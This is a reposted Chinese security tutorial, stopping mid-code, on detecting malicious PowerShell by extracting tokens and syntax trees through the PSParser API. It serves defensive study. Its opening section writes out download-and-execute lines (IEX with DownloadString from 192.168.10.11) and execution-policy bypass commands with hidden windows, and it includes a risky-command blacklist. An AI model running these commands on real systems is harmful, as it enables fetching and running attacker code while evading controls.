日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

[网络安全提高篇] 一一五.Powershell恶意代码检测 (3)Token关键词自动提取

發布時間:2024/6/1 编程问答 49 豆豆
生活随笔 收集整理的這篇文章主要介紹了 [网络安全提高篇] 一一五.Powershell恶意代码检测 (3)Token关键词自动提取 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

“網絡安全提高班”新的100篇文章即將開啟,包括Web滲透、內網滲透、靶場搭建、CVE復現、攻擊溯源、實戰及CTF總結,它將更加聚焦,更加深入,也是作者的慢慢成長史。換專業確實挺難的,Web滲透也是塊硬骨頭,但我也試試,看看自己未來四年究竟能將它學到什么程度,漫漫長征路,偏向虎山行。享受過程,一起加油~

前文簡單介紹了抽象語法樹的抽取方法,通過官方提供的接口實現,包括抽象語法樹可視化和節點提取。這篇文章將詳細介紹Token關鍵詞的抽取方法,它是指Powershell中具有特定含義的字段,主要通過官方提供的接口實現。希望這篇文章對您有幫助,也推薦大家去閱讀論文,且看且珍惜。

文章目錄

  • 一.Powershell基礎知識
    • 1.高威脅
    • 2.基礎語法
    • 3.Bypass
  • 二.powershell.one
    • 1.概念
    • 2.訪問AST
  • 三.Tokenizing PowerShell Scripts
    • 1.Token多彩的世界
    • 2.PSParser 概述
    • 3.Tokenizing PowerShell
  • 四.Token提取實例
    • 1.基礎用法
      • (1) 提取AST
      • (2) 提取Token
      • (3) 提取變量和命令列表
    • 2.批量分析
    • 3.提取token對應的text
  • 五.自動提取Powershell的AST和Token實例
  • 六.總結

作者作為網絡安全的小白,分享一些自學基礎教程給大家,主要是關于安全工具和實踐操作的在線筆記,希望您們喜歡。同時,更希望您能與我一起操作和進步,后續將深入學習網絡安全和系統安全知識并分享相關實驗。總之,希望該系列文章對博友有所幫助,寫文不易,大神們不喜勿噴,謝謝!如果文章對您有幫助,將是我創作的最大動力,點贊、評論、私聊均可,一起加油喔~

  • 自學篇工具:https://github.com/eastmountyxz/NetworkSecuritySelf-study
  • 系統安全:https://github.com/eastmountyxz/SystemSecurity-ReverseAnalysis

聲明:本人堅決反對利用教學方法進行犯罪的行為,一切犯罪行為必將受到嚴懲,綠色網絡需要我們共同維護,更推薦大家了解它們背后的原理,更好地進行防護。

提高篇:(自學系列100篇目錄放在文章末尾)

  • [網絡安全提高班] 一〇一.網絡空間安全普及和醫療數據安全防護總結
  • [網絡安全提高篇] 一〇二.Metasploit技術之基礎用法萬字詳解及MS17-010漏洞復現
  • [網絡安全提高篇] 一〇三.Metasploit后滲透技術之信息收集、權限提權、移植漏洞模塊和后門
  • [網絡安全提高篇] 一〇四.網絡滲透靶場Oracle+phpStudy本地搭建萬字詳解(SQL注入、XSS攻擊、文件上傳漏洞)
  • [網絡安全提高篇] 一〇五.SQL注入之揭秘Oracle數據庫注入漏洞和致命問題(聯合Cream老師)
  • [網絡安全提高篇] 一〇六.SQL注入之手工注入和SQLMAP入門案例詳解
  • [網絡安全提高篇] 一〇七.安全威脅框架理解及勒索病毒取證溯源分析(藍隊)
  • [網絡安全提高篇] 一〇八.Powershell和PowerSploit腳本攻擊詳解 (1)
  • [網絡安全提高篇] 一〇九.津門杯CTF的Web Write-Up萬字詳解(SSRF、文件上傳、SQL注入、代碼審計、中國蟻劍)
  • [網絡安全提高篇] 一一〇.強網杯CTF的Web Write-Up(上) 尋寶、賭徒、EasyWeb、pop_master
  • [網絡安全提高篇] 一一一.ISC會議觀后感之網絡安全需要新戰法和新框架
  • [網絡安全提高篇] 一一二.DataCon Coremail郵件安全競賽之釣魚郵件識別及分類
  • [網絡安全提高篇] 一一三.Powershell惡意代碼檢測 (1)論文總結及抽象語法樹(AST)提取
  • [網絡安全提高篇] 一一四.Powershell惡意代碼檢測 (2)抽象語法樹自動提取萬字詳解
  • [網絡安全提高篇] 一一五.Powershell惡意代碼檢測 (3)Token關鍵詞自動提取

一.Powershell基礎知識

1.高威脅

近年來,Powershell 由于其易用性強、隱蔽性高的特點被廣泛應用于 APT 攻擊中,傳統的基于人工特征提取和機器學習方法的惡意代碼檢測技術在 Powershell 惡意代碼檢測中越來越難以有效。

Microsoft 的 PowerShell 是一種命令行 shell 和腳本語言,默認安裝在 Windows 機器上。它基于微軟的.NET 框架,包括一個允許程序員訪問操作系統服務的接口。雖然管理員可以配置 PowerShell 以限制訪問和減少漏洞,但可以繞過這些限制。此外,PowerShell 命令可以輕松地動態生成、從內存中執行、編碼和混淆,從而使 PowerShell 執行的代碼的日志記錄和取證分析具有挑戰性。

由于這些原因,PowerShell 越來越多地被網絡犯罪分子用作其攻擊工具鏈的一部分,主要用于下載惡意內容和橫向移動。事實上,賽門鐵克最近一份關于 PowerShell 被網絡犯罪分子濫用的綜合技術報告報告稱,他們收到的惡意 PowerShell 樣本數量以及使用 PowerShell 的滲透工具和框架的數量急劇增加。這凸顯了開發檢測惡意 PowerShell 命令的有效方法的迫切需要。


2.基礎語法

此外,在滲透測試中,Powershell是不能忽略的一個環節,而且仍在不斷地更新和發展,它具有良好的靈活性和功能化管理Windows系統的能力。一旦攻擊者可以在一臺計算機上運行代碼,就會下載PowerShell腳本文件(.ps1)到磁盤中執行,甚至無須寫到磁盤中執行,它就可以直接在內存中運行。

這些特點使得PowerShell在獲得和保持對系統的訪問權限時,成為攻擊者首選的攻擊手段,利用PowerShell的諸多特點,攻擊者可以持續攻擊而不被輕易發現。常用的PowerShell攻擊工具有以下幾種。

  • PowerSploit
    這是眾多PowerShell攻擊工具中被廣泛使用的PowerShell后期漏洞利用框架,常用于信息探測、特權提升、憑證竊取、持久化等操作。
  • Nishang
    基于PowerShell的滲透測試專用工具,集成了框架、腳本和各種Payload,包含下載和執行、鍵盤記錄、DNS、延時命令等腳本。
  • Empire
    基于PowerShell的遠程控制木馬,可以從憑證數據庫中導出和跟蹤憑據信息,常用于提供前期漏洞利用的集成模塊、信息探測、憑據竊取、持久化控制。
  • PowerCat
    PowerShell版的NetCat,有著網絡工具中的“瑞士軍刀”美譽,它能通過TCP和UDP在網絡中讀寫數據。通過與其他工具結合和重定向,讀者可以在腳本中以多種方式使用它。

在PowerShell下,類似“cmd命令”叫作“cmdlet”,其命名規范相當一致,都采用“動詞-名詞”的形式,如New-Item,動詞部分一般為Add、New、Get、Remove、Set等,命名的別名一般兼容Windows Command和Linux Shell,如Get-ChildItem命令使用dir或ls均可,而且PowerShell命令不區分大小寫。

下面以文件操作為例講解PowerShell命令的基本用法。

  • 新建目錄:New-Item whitecellclub-ItemType Directory
  • 新建文件:New-Item light.txt-ItemType File
  • 刪除目錄:Remove-Item whitecellclub
  • 顯示文件內容:Get-Content test.txt
  • 設置文件內容:Set-Content test.txt-Value “hello,world!”
  • 追加內容:Add-Content light.txt-Value “i love you”
  • 清除內容:Clear-Content test.txt

舉個簡單的示例:

New-Item test -ItemType directory Remove-Item test New-Item eastmount.txt -ItemType file -value "hello csdn" Get-Content eastmount.txt Add-Content eastmount.txt -Value " bye!" Get-Content eastmount.txt Set-Content eastmount.txt -Value "haha" Get-Content eastmount.txt Clear-Content eastmount.txt Get-Content eastmount.txt Remove-Item eastmount.txt Get-Content eastmount.txt


3.Bypass

經過測試,在cmd窗口執行過程下載的PowerShell腳本,不論當前策略,都可以直接運行。而如果要在PowerShell窗口運行腳本程序,必須要管理員權限將Restricted策略改成Unrestricted,所以在滲透時,就需要采用一些方法繞過策略來執行腳本。

(1) 下載遠程PowerShell腳本繞過權限執行
調用DownloadString函數下載遠程的ps1腳本文件。

//cmd窗口執行以下命令 powershell -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1')//在powershell窗口執行 IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1')

下圖引用謝公子的圖片,切換到CMD窗口運行。

(2) 繞過本地權限執行
上傳xxx.ps1至目標服務器,在CMD環境下,在目標服務器本地執行該腳本,如下所示。

PowerShell.exe -ExcutionPolicy Bypass -File xxx.ps1powershell -exec bypass .\test.ps1

(3) 本地隱藏繞過權限執行腳本

PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -NonInteractive -NoProfile -File xxx.ps1

舉個示例:

  • powershell.exe -exec bypass -W hidden -nop test.ps1

(4) 用IEX下載遠程PS1腳本繞過權限執行

PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden-NoProfile -NonIIEX(New-ObjectNet.WebClient).DownloadString("xxx.ps1");[Parameters]

函數定義:

function Test-MrParameter {param ([string]$ComputerName)Write-Output $ComputerNameWrite-Output ($ComputerName+$ComputerName)Write-Output ($ComputerName+$ComputerName+$ComputerName) }

查看和使用函數:

Get-Command -Name Test-MrParameter -Syntax Test-MrParameter -ComputerName 'this is a computer name' pause

輸出結果:

Test-MrParameter [[-ComputerName] <Object>]this is a computer name 按 Enter 鍵繼續...:

二.powershell.one

PowerShell 的抽象語法樹作為代碼的語義表達,以多叉樹的形式表示腳本功能的邏輯結構,保留了代碼上下文的特征并剔除無關的參數干擾,是分析功能類似的PowerShell代碼的有效方法 。常見方法是使用接口或編寫自定義程序實現。前文介紹了第一種方法,這篇文章將介紹官方提供的接口。

  • Deobshell
    https://github.com/thewhiteninja/deobshell
  • powershell.one => Convert-CodeToAst
    https://powershell.one/powershell-internals/parsing-and-tokenization/abstract-syntax-tree#ast-object-inheritance

Windows 為PowerShell提供了訪問腳本AST的接口,使用內置接口獲取的 AST 結構如圖所示。

The Abstract Syntax Tree (AST) groups tokens into meaningful structures and is the most sophisticated way of analyzing PowerShell code.

1.概念

PowerShell解析器將單個字符轉換為有意義的關鍵字并區分例如命令、參數和變量,這稱為標記化,之前已介紹過。例如,編輯器使用這些標記為代碼著色并以與命令不同的顏色顯示變量。

解析器并不止于此。為了讓PowerShell執行代碼,它需要知道各個令牌如何形成可以執行的結構。解析器獲取標記并構建一個抽象語法樹(AST),它基本上將標記分組為有意義的結構。

抽象語法樹之所以稱為樹,是因為它的工作方式類似于分層樹。PowerShell從第一個標記開始,然后采用PowerShell語言定義(語法)來查看下一個可能的標記可能是什么。這樣,解析器就可以通過代碼工作。

  • 情況1:PowerShell成功并創建代碼的有效結構
  • 情況2:遇到并引發語法錯誤


2.訪問AST

從PowerShell 3 開始,抽象語法樹向您公開,因此您現在也可以分析PowerShell代碼并了解其內部結構。訪問 AST 的主要方法有兩種:

  • ScriptBlock(代碼塊):一個scriptblock是一個有效的PowerShell代碼塊,所以它已經被解析器處理過了,并且解析器保證代碼中沒有語法錯誤。每個scriptblock都有一個名為AST的屬性,它公開了scriptblock中包含的代碼的抽象語法樹。
  • Parser(解析器):您可以要求PowerShell解析器解析任意代碼并返回令牌和AST。當您輸入和執行代碼時,您基本上是在模仿PowerShell所做的事情。因為解析器處理原始文本,所以不能保證代碼在語法上是正確的。這就是解析器還返回它發現的任何語法錯誤的原因。

查看AST的簡單示例如下圖所示,您可以查看解析器構建的抽象語法樹(AST)。

$code.Invoke() $code = { "Hello" * 10 } $code.Ast

輸出結果如下圖所示:

這可以用來創建一個簡單的測試函數來識別PowerShell代碼

function Test-PowerShellCode {param([string]$Code)try{# try and convert string to scriptblock:$null = [ScriptBlock]::Create($Code)}catch{# the parser is invoked implicitly and returns# syntax errors as exceptions:$_.Exception.InnerException.Errors} }

抽象語法樹(AST) 是Ast對象的樹。這棵樹的頂部是解析器返回給您的內容。遍歷抽象語法樹時遇到的任何Ast對象都具有Parent和Extent屬性。Parent定義樹關系,Extent定義Ast對象涵蓋的PowerShell代碼。

常見方法如下:

Name Signature ---- --------- Copy System.Management.Automation.Language.Ast Copy() Find System.Management.Automation.Language.Ast Find(System.Func[System.Management.Automation.Language.Ast,bool] predicate, bool searchNestedScriptBlocks) FindAll System.Collections.Generic.IEnumerable[System.Management.Automation.Language.Ast] FindAll(System.Func[System.Management.Automation.Language.Ast,bool] predicate, b... Visit System.Object Visit(System.Management.Automation.Language.ICustomAstVisitor astVisitor), void Visit(System.Management.Automation.Language.AstVisitor astVisitor)

三.Tokenizing PowerShell Scripts

通過將 PowerShell 代碼轉換為標記和結構,您可以發現錯誤、自動記錄您的代碼并創建強大的重構工具。

  • https://powershell.one/powershell-internals/parsing-and-tokenization/simple-tokenizer

1.Token多彩的世界

每當您將PowerShell代碼加載到專門的編輯器中時,代碼都會被神奇地著色,如下圖VS Code所示,并且每種顏色都代表一個給定的標記類型。顏色可以幫助您了解PowerShell如何解釋您的代碼。

沒有內置PowerShell引擎(如notepad++或VSCode)的通用編輯器使用復雜的正則表達式來嘗試正確識別tokens。然而,想要100%精確的tokens,可以直接使用PowerShell解析器(PowerShell Parser),而不是通用RegEx規則。在本文中,我們將分享PowerShell解析器的優點。

  • Token:本文理解為關鍵字段,自動解析每個標簽的含義,比如變量定義、函數、關鍵詞等。

接下來您將獲得一個新的命令:

  • Test-PSOneScript

它能解析一個或數千個PowerShell文件并立即返回100%準確的Token。它是我們 PSOneTools 模塊的一部分,因此只需安裝最新版本即可使用該命令,或使用提供的源代碼。

Install-Module -Name PSOneTools -Scope CurrentUser -Force

當我們得到Token(令牌)后,還可以做很多有趣的事情,例如:

  • 自動記錄代碼并創建在腳本中找到的變量、命令或方法調用列表
  • 識別導致解析器阻塞的語法錯誤
  • 使用有風險的命令執行安全分析并識別腳本

2.PSParser 概述

PSParser是PowerShell早期版本中內置的原始解析器。盡管它很舊,但它仍然是所有PowerShell版本的一部分,并且由于其簡單性而非常有用。

它區分了 20 種不同的令牌類型:

PS> [Enum]::GetNames([System.Management.Automation.PSTokenType]).Count 20PS> [Enum]::GetNames([System.Management.Automation.PSTokenType]) | Sort-Object Attribute Command CommandArgument CommandParameter Comment GroupEnd GroupStart Keyword LineContinuation LoopLabel Member NewLine Number Operator Position StatementSeparator String Type Unknown Variable

當您使用PSParser對PowerShell代碼進行標記時,它會逐個字符地讀取您的代碼并將這些字符分組為有意義的單詞,即tokens。如果PSParser遇到它不期望的字符,它會生成Syntax Errors,即當字符串以雙引號開頭但以單引號結尾時。


3.Tokenizing PowerShell

使用 Tokenize() 對PowerShell 代碼進行標記。這是一個簡單的例子,假設存在“get_token_001.ps1”代碼。

Tokenize()需要您要標記的代碼,以及一個可以填充任何語法錯誤的空變量。因為變量$errors在Tokenize啟動時是空的,并且在方法解析代碼時被填充,所以它需要通過引用(內存指針)提交,這在PowerShell中是通過[ref]完成的。

當Tokenize()完成時,您會在變量tokens中收到所有令牌作為返回值,以及errors中的任何語法錯誤。

  • $tokens = [System.Management.Automation.PSParser]::Tokenize($code, [ref]$errors)
  • $syntaxError = $errors | Select-Object -ExpandProperty Token -Property Message

具體代碼如下:

# the code that you want tokenized: $code = {# this is some test code$service = Get-Service |Where-Object Status -eq Running }# create a variable to receive syntax errors: $errors = $null # tokenize PowerShell code: $tokens = [System.Management.Automation.PSParser]::Tokenize($code, [ref]$errors)# analyze errors: if ($errors.Count -gt 0) {# move the nested token up one level so we see all properties:$syntaxError = $errors | Select-Object -ExpandProperty Token -Property Message$syntaxError } else {$tokens }

輸出結果如下圖所示,每個Token都由一個PSToken對象表示,該對象以字符串形式返回令牌內容、令牌類型以及找到令牌的確切位置。

  • 注釋
Content : # this is some test code Type : Comment Start : 4 Length : 24 StartLine : 2 StartColumn : 3 EndLine : 2 EndColumn : 27
  • 變量
Content : service Type : Variable Start : 32 Length : 8 StartLine : 3 StartColumn : 3 EndLine : 3 EndColumn : 11
  • 運算
Content : = Type : Operator Start : 41 Length : 1 StartLine : 3 StartColumn : 12 EndLine : 3 EndColumn : 13
  • 命令
Content : Get-Service Type : Command Start : 43 Length : 11 StartLine : 3 StartColumn : 14 EndLine : 3 EndColumn : 25Content : Where-Object Type : Command Start : 62 Length : 12 StartLine : 4 StartColumn : 5 EndLine : 4
  • 實參和形參
Content : Status Type : CommandArgument Start : 75 Length : 6 StartLine : 4 StartColumn : 18 EndLine : 4 EndColumn : 24Content : Running Type : CommandArgument Start : 86 Length : 7 StartLine : 4 StartColumn : 29 EndLine : 4 EndColumn : 36

如果解析器在解析代碼時遇到意外字符,則會生成語法錯誤。解析器繼續解析,因此可能會返回多個語法錯誤。解析器為每個語法錯誤發出一個PSParseError對象,如下所示:


四.Token提取實例

要檢查真正的基于文件的腳本,只需將上面的邏輯嵌入到管道感知函數中。Test-PSOneScript 正是這樣做的,并使解析PowerShell文件變得輕而易舉:

function Test-PSOneScript {<#.SYNOPSISParses a PowerShell Script (*.ps1, *.psm1, *.psd1).DESCRIPTIONInvokes the simple PSParser and returns tokens and syntax errors.EXAMPLETest-PSOneScript -Path c:\test.ps1Parses the content of c:\test.ps1 and returns tokens and syntax errors.EXAMPLEGet-ChildItem -Path $home -Recurse -Include *.ps1,*.psm1,*.psd1 -File |Test-PSOneScript |Out-GridViewparses all PowerShell files found anywhere in your user profile.EXAMPLEGet-ChildItem -Path $home -Recurse -Include *.ps1,*.psm1,*.psd1 -File |Test-PSOneScript |Where-Object Errorsparses all PowerShell files found anywhere in your user profileand returns only those files that contain syntax errors.LINKhttps://powershell.one#>param(# Path to PowerShell script file# can be a string or any object that has a "Path" # or "FullName" property:[String][Parameter(Mandatory,ValueFromPipeline)][Alias('FullName')]$Path)begin{$errors = $null}process{# create a variable to receive syntax errors:$errors = $null# tokenize PowerShell code:$code = Get-Content -Path $Path -Raw -Encoding Default# return the results as a custom object[PSCustomObject]@{Name = Split-Path -Path $Path -LeafPath = $PathTokens = [Management.Automation.PSParser]::Tokenize($code, [ref]$errors)Errors = $errors | Select-Object -ExpandProperty Token -Property Message} } }

由于本文主要針對Powershell文件的token提取,所以檢查語法錯誤的功能建議讀者查看官方網站。

1.基礎用法

解析單個文件,只需將其路徑提交到Test-PSOneScript,它立即返回標記和任何語法錯誤(如果存在)。

$Path = "C:\Users\tobia\test.ps1" $result = Test-PSOneScript -Path $Path

本文嘗試解析“data\example-004.ps1”文件。該文件的Powershell內容如下:

$service = Get-Service | Where-Object Status -eq Running

(1) 提取AST

這里先給出一張上一篇文章解析的抽象語法樹(AST)圖。

function Convert-CodeToAst {param([Parameter(Mandatory)] # 強制參數[System.String]$str # 執行ps文件名稱)# 構建hashtable$hierarchy = @{}$result = [System.Collections.ArrayList]@()# 提取ps文件中的內容 Write-Output ("file name: {0}" -f ($str))$content = Get-content $strWrite-Output $content# 創建Scipt代碼塊$code = [ScriptBlock]::Create($content)# 提取AST$code.Ast.FindAll( { $true }, $true) |ForEach-Object {# take unique object hash as key$id = 0;if($_.Parent) {$id = $_.Parent.GetHashCode()}Write-Debug('{0}:{1}' -f $_.GetType().Name,$id)if ($hierarchy.ContainsKey($id) -eq $false) {$hierarchy[$id] = [System.Collections.ArrayList]@()}$null = $hierarchy[$id].Add($_)# add ast object to parent}# 遞歸可視化樹function Visualize-Tree($Id, $Indent = 0){# 每級縮進$space = '--' * $indent$hierarchy[$id] | ForEach-Object {# 輸出AST對象'{0}[{1}]: {2}' -f $space, $_.GetType().Name, $_.Extent# 獲取當前AST對象的id$newid = $_.GetHashCode()# 遞歸其子節點(if any)if ($hierarchy.ContainsKey($newid)) {Visualize-Tree -id $newid -indent ($indent + 1)}}}# 使用AST根對象開始可視化Visualize-Tree -id $code.Ast.GetHashCode()return $result }Convert-CodeToAst -str .\data\example-004.ps1

輸出結果如下所示:

(2) 提取Token

提取單個文件Token的代碼如下所示:

function Test-PSOneScript {<#.SYNOPSISParses a PowerShell Script (*.ps1, *.psm1, *.psd1).DESCRIPTIONInvokes the simple PSParser and returns tokens and syntax errors.EXAMPLETest-PSOneScript -Path c:\test.ps1Parses the content of c:\test.ps1 and returns tokens and syntax errors.EXAMPLEGet-ChildItem -Path $home -Recurse -Include *.ps1,*.psm1,*.psd1 -File |Test-PSOneScript |Out-GridViewparses all PowerShell files found anywhere in your user profile.EXAMPLEGet-ChildItem -Path $home -Recurse -Include *.ps1,*.psm1,*.psd1 -File |Test-PSOneScript |Where-Object Errorsparses all PowerShell files found anywhere in your user profileand returns only those files that contain syntax errors.LINKhttps://powershell.one#>param(# Path to PowerShell script file# can be a string or any object that has a "Path" # or "FullName" property:[String][Parameter(Mandatory,ValueFromPipeline)][Alias('FullName')]$Path)begin{$errors = $null}process{# create a variable to receive syntax errors:$errors = $null# tokenize PowerShell code:$code = Get-Content -Path $Path -Raw -Encoding DefaultWrite-Output $code# return the results as a custom object[PSCustomObject]@{Name = Split-Path -Path $Path -LeafPath = $PathTokens = [Management.Automation.PSParser]::Tokenize($code, [ref]$errors)Errors = $errors | Select-Object -ExpandProperty Token -Property Message} } }# 執行函數 $Path = ".\data\example-004.ps1" $result = Test-PSOneScript -Path $Path $errors = $result.Errors.Count -gt 0 $tokens = $result.Tokens.Type | Sort-Object -Unique# 輸出結果 Write-Output ($result) Write-Output ($errors,"`n") Write-Output ($tokens)

其中,檢查腳本文件是否有語法錯誤的核心代碼如下:

$result.Errors.Count -gt 0 False

獲取腳本中存在的所有令牌類型的列表核心代碼如下:

$result.Tokens.Type | Sort-Object -Unique

最終輸出結果如下圖所示:

如果輸入代碼是“$a = 1”,則輸出結果如下圖所示:


(3) 提取變量和命令列表

要獲取腳本中使用的所有變量的列表,只需過濾標記類型Variable。同樣,如果您想獲取腳本使用的命令列表,請過濾適當的令牌類型 ( Command )。

# 執行函數 $Path = ".\data\example-004.ps1" $result = Test-PSOneScript -Path $Path $errors = $result.Errors.Count -gt 0 $tokens = $result.Tokens.Type | Sort-Object -Unique Write-Output ($result) Write-Output ($errors,"`n") Write-Output ($tokens,"`n")# 提取變量列表 $variables = $result.Tokens | Where-Object Type -eq Variable | Sort-Object -Property Content -Unique | ForEach-Object { '${0}' -f $_.Content} Write-Output ("Get Variables:") Write-Output ($variables,"`n")# 提取命令列表 $commands = $result.Tokens | Where-Object Type -eq Command | Sort-Object -Property Content -Unique | Select-Object -ExpandProperty Content Write-Output ("Get Commands:") Write-Output ($commands,"`n")# 提取.NET方法列表 $members = $result.Tokens | Where-Object Type -eq Member | Select-Object -ExpandProperty Content |Sort-Object -Unique Write-Output ("Get Members:") Write-Output ($members,"`n")

您甚至可以分析命令的使用頻率。這將為您提供 10 個最常用的命令。

PS> $result.Tokens | Where-Object Type -eq Command | Select-Object -ExpandProperty Content |Group-Object -NoElement |Sort-Object -Property Count -Descending |Select-Object -First 10Count Name ----- ---- 51 Search-AD 49 New-Object 35 Write-Verbose 29 get-date 25 % 24 New-TimeSpan 24 Where 21 select 19 Sort-Object 17 Invoke-Method

2.批量分析

Test-PSOneScript不能一次只檢查一個文件。它完全支持管道,并且知道如何處理Get-ChildItem.

(1) 查找有錯誤的腳本
如果您想在腳本庫中的任何位置識別具有語法錯誤的腳本,只需運行Get-ChildItem以收集要測試的文件,并將它們通過管道傳輸到Test-PSOneScript如下所示:

# get all PowerShell files from your user profile... Get-ChildItem -Path $home -Recurse -Include *.ps1, *.psd1, *.psm1 -File |# ...parse them...Test-PSOneScript |# ...filter those with syntax errors...Where-Object Errors |# ...expose the errors:ForEach-Object {[PSCustomObject]@{Name = $_.NameError = $_.Errors[0].MessageType = $_.Errors[0].TypeLine = $_.Errors[0].StartLineColumn = $_.Errors[0].StartColumnPath = $_.Path}}

(2) 識別有風險的命令
如果您想識別使用有風險命令的腳本,例如Invoke-Expression,只需調整過濾器。

$blacklist = @('Invoke-Expression', 'Stop-Computer', 'Restart-Computer')# get all PowerShell files from your user profile... Get-ChildItem -Path $home -Recurse -Include *.ps1, *.psd1, *.psm1 -File | # ...parse them... Test-PSOneScript | # ...filter those using commands in our blacklist Foreach-Object {# get the first token that is a command and that is in our blacklist$badToken = $_.Tokens.Where{$_.Type -eq 'Command'}.Where{$_.Content -in $blacklist} | Select-Object -First 1if ($badToken){$_ | Add-Member -MemberType NoteProperty -Name BadToken -Value $badToken -PassThru}} |# ...expose the errors:ForEach-Object {[PSCustomObject]@{Name = $_.NameOffender = $_.BadToken.ContentLine = $_.BadToken.StartLineColumn = $_.BadToken.StartColumnPath = $_.Path}}

3.提取token對應的text

前面3.3部分介紹了一個案例,主要是調用PSToken Class提取Token內容,其屬性是可以直接調用的。因此,接下來我們嘗試提取token對應的text。

完整代碼如下:

# 函數:提取Token內容 function Test-PSOneScript {<#.SYNOPSISParses a PowerShell Script (*.ps1, *.psm1, *.psd1).DESCRIPTIONInvokes the simple PSParser and returns tokens and syntax errors.EXAMPLETest-PSOneScript -Path c:\test.ps1Parses the content of c:\test.ps1 and returns tokens and syntax errors.EXAMPLEGet-ChildItem -Path $home -Recurse -Include *.ps1,*.psm1,*.psd1 -File |Test-PSOneScript |Out-GridViewparses all PowerShell files found anywhere in your user profile.EXAMPLEGet-ChildItem -Path $home -Recurse -Include *.ps1,*.psm1,*.psd1 -File |Test-PSOneScript |Where-Object Errorsparses all PowerShell files found anywhere in your user profileand returns only those files that contain syntax errors.LINKhttps://powershell.one#>param(# Path to PowerShell script file# can be a string or any object that has a "Path" # or "FullName" property:[String][Parameter(Mandatory,ValueFromPipeline)][Alias('FullName')]$Path)begin{$errors = $null}process{# create a variable to receive syntax errors:$errors = $null# tokenize PowerShell code:$code = Get-Content -Path $Path -Raw -Encoding DefaultWrite-Output $code# return the results as a custom object[PSCustomObject]@{Name = Split-Path -Path $Path -LeafPath = $PathTokens = [Management.Automation.PSParser]::Tokenize($code, [ref]$errors)Errors = $errors | Select-Object -ExpandProperty Token -Property Message} } }# 執行函數 $Path = ".\data\example-004.ps1" $result = Test-PSOneScript -Path $Path $errors = $result.Errors.Count -gt 0 $tokens = $result.Tokens.Type | Sort-Object -Unique Write-Output ($result) Write-Output ($errors,"`n") Write-Output ($tokens,"`n")# 提取變量列表 $variables = $result.Tokens | Where-Object Type -eq Variable | Sort-Object -Property Content -Unique | ForEach-Object { '${0}' -f $_.Content} Write-Output ("Get Variables:") Write-Output ($variables,"`n")# 提取命令列表 $commands = $result.Tokens | Where-Object Type -eq Command | Sort-Object -Property Content -Unique | Select-Object -ExpandProperty Content Write-Output ("Get Commands:") Write-Output ($commands,"`n")# 提取Token內容 $token_texts = $result.Tokens.Content Write-Output ($token_texts.GetType()) $strToken = '' foreach($elem in $token_texts) {$elem = $elem | Out-String #Object轉String$text = $elem.Trim()if($strToken.Length -ne 0) { #不等于$text = " " + $text}$strToken = $strToken + $text } Write-Output ("Get Texts:") Write-Output ($strToken,$strToken.Length)

輸出結果如下圖所示:

提取的Token被空格拼接,比如:

service = Get-Service | Where-Object Status -eq Running powershell ( new-object system.net.webclient ) . downloadfile ( http://192.168.10.11/test.exe , test.exe ) ;

五.自動提取Powershell的AST和Token實例

最后作者結合上一篇文章提取CSV文件中的代碼,實現AST和Token提取。其中CSV文件如下:

完整代碼如下:

#------------------------------------------------------ # 第一部分:批量讀取文件 # By: Eastmount CSDN 2022-03-12 #------------------------------------------------------ function Read_csv_powershell {param ([parameter(Mandatory=$true)][System.String]$inputfile,[System.String]$outputfile)# 讀取CSV文件$content = Import-CSV $inputfile$list = [System.Collections.ArrayList]@()foreach($line in $content) {$no = $line.("no")$code = $line.("decoded code")$name = $line.("family name")# Write-Output($no, $code, $name)# 轉換抽象語法樹AST和Tokentry {$ast = Convert-CodeToAst -str $codeWrite-Output($ast)$token = get_token_text -str $codeWrite-Output($token)} catch [System.Exception] {'exception info:{0}' -f $_.Eception.Messagecontinue}$list.add([PSCustomObject]@{no = $nocode = $codename = $nameast = $asttoken = $token})}$list | ConvertTo-Csv -NoTypeInformation | out-file $outputfile -Encoding ascii -ForceWrite-Output($list) }#------------------------------------------------------ # 第二部分:提取并拼接AST節點內容 #------------------------------------------------------ function add_blanks {param ([parameter(Mandatory=$true)][System.Array]$arr)$strNode = ''foreach($elem in $arr) {if($strNode.Length -ne 0) { #不等于$elem = " " + $elem}$strNode = $strNode + $elem}return $strNode }# 函數:提取Powershell代碼的抽象語法樹(AST) function Convert-CodeToAst {param([Parameter(Mandatory)] # 強制參數[System.String]$str # 執行ps代碼)# 構建hashtable$hierarchy = @{}$result = [System.Collections.ArrayList]@()# 創建Scipt代碼塊$code = [ScriptBlock]::Create($str)# 提取AST$code.Ast.FindAll( { $true }, $true) |ForEach-Object {# take unique object hash as key$id = 0;if($_.Parent) {$id = $_.Parent.GetHashCode()}Write-Debug('{0}:{1}' -f $_.GetType().Name,$id)if ($hierarchy.ContainsKey($id) -eq $false) {$hierarchy[$id] = [System.Collections.ArrayList]@()}$null = $hierarchy[$id].Add($_)# add ast object to parent}# 遞歸可視化樹function Visualize-Tree($Id){# 每級縮進$hierarchy[$id] | ForEach-Object {# 獲取當前AST對象的id$newid = $_.GetHashCode()# 遞歸其子節點(if any)if ($hierarchy.ContainsKey($newid)){Visualize-Tree -id $newid}$null = $result.Add($_.GetType().Name)}}# 使用AST根對象開始可視化Visualize-Tree -id $code.Ast.GetHashCode()# Write-Output ($result,"`n")# result存儲根節點內容$strNode = add_blanks -arr $resultreturn $strNode }#------------------------------------------------------ # 第三部分:提取并拼接Token內容 #------------------------------------------------------ # 函數:拼接Token內容 function get_token_text {param ([Parameter(Mandatory)] # 強制參數[System.String]$str # 執行ps代碼)# 創建Scipt代碼塊$code = [ScriptBlock]::Create($str)# 提取token$errors = $null$tokens = [System.Management.Automation.PSParser]::Tokenize($code, [ref]$errors)$syntaxError = $errors | Select-Object -ExpandProperty Token -Property Message$token_texts = $tokens.Content# Write-Output ($token_texts)# 拼接字符串$strToken = ''foreach($elem in $token_texts) {$elem = $elem | Out-String #Object轉String$text = $elem.Trim()if($strToken.Length -ne 0) { #不等于$text = " " + $text}$strToken = $strToken + $text}# Write-Output ("Get Texts:")# Write-Output ($strToken,$strToken.Length)return $strToken }#------------------------------------------------------ # 